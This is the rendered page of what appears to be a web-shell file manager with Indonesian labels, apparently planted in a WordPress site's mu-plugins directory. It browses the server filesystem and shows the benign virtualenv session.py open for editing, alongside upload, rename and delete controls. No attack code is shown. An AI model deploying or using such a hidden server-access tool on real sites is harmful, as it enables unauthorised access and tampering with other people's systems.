📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
virtualenv
›
📁 run
📍
Lokasi:
/usr/lib/python3.9/site-packages/virtualenv/run
💾
Free:
45.5 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: session.py
import json import logging class Session: """Represents a virtual environment creation session""" def __init__(self, verbosity, app_data, interpreter, creator, seeder, activators): self._verbosity = verbosity self._app_data = app_data self._interpreter = interpreter self._creator = creator self._seeder = seeder self._activators = activators @property def verbosity(self): """The verbosity of the run""" return self._verbosity @property def interpreter(self): """Create a virtual environment based on this reference interpreter""" return self._interpreter @property def creator(self): """The creator used to build the virtual environment (must be compatible with the interpreter)""" return self._creator @property def seeder(self): """The mechanism used to provide the seed packages (pip, setuptools, wheel)""" return self._seeder @property def activators(self): """Activators used to generate activations scripts""" return self._activators def run(self): self._create() self._seed() self._activate() self.creator.pyenv_cfg.write() def _create(self): logging.info("create virtual environment via %s", self.creator) self.creator.run() logging.debug(_DEBUG_MARKER) logging.debug("%s", _Debug(self.creator)) def _seed(self): if self.seeder is not None and self.seeder.enabled: logging.info("add seed packages via %s", self.seeder) self.seeder.run(self.creator) def _activate(self): if self.activators: active = ", ".join(type(i).__name__.replace("Activator", "") for i in self.activators) logging.info("add activators for %s", active) for activator in self.activators: activator.generate(self.creator) def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): # noqa: U100 self._app_data.close() _DEBUG_MARKER = "=" * 30 + " target debug " + "=" * 30 class _Debug: """lazily populate debug""" def __init__(self, creator): self.creator = creator def __repr__(self): return json.dumps(self.creator.debug, indent=2) __all__ = [ "Session", ]
💾 Simpan Perubahan
❌ Batal
📤 Upload
📁 Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
📁 __pycache__
-
2026-03-25 21:14
0755
✍️
🗑️
📁 plugin
-
2026-03-25 21:14
0755
✍️
🗑️
💻
__init__.py
6.2 KB
2025-12-11 11:06
0644
✏️ Edit
⬇
✍️
🗑️
💻
session.py
2.3 KB
2025-12-11 11:06
0644
✏️ Edit
⬇
✍️
🗑️
✍️ Rename:
Nama Baru:
Batal
💾 Simpan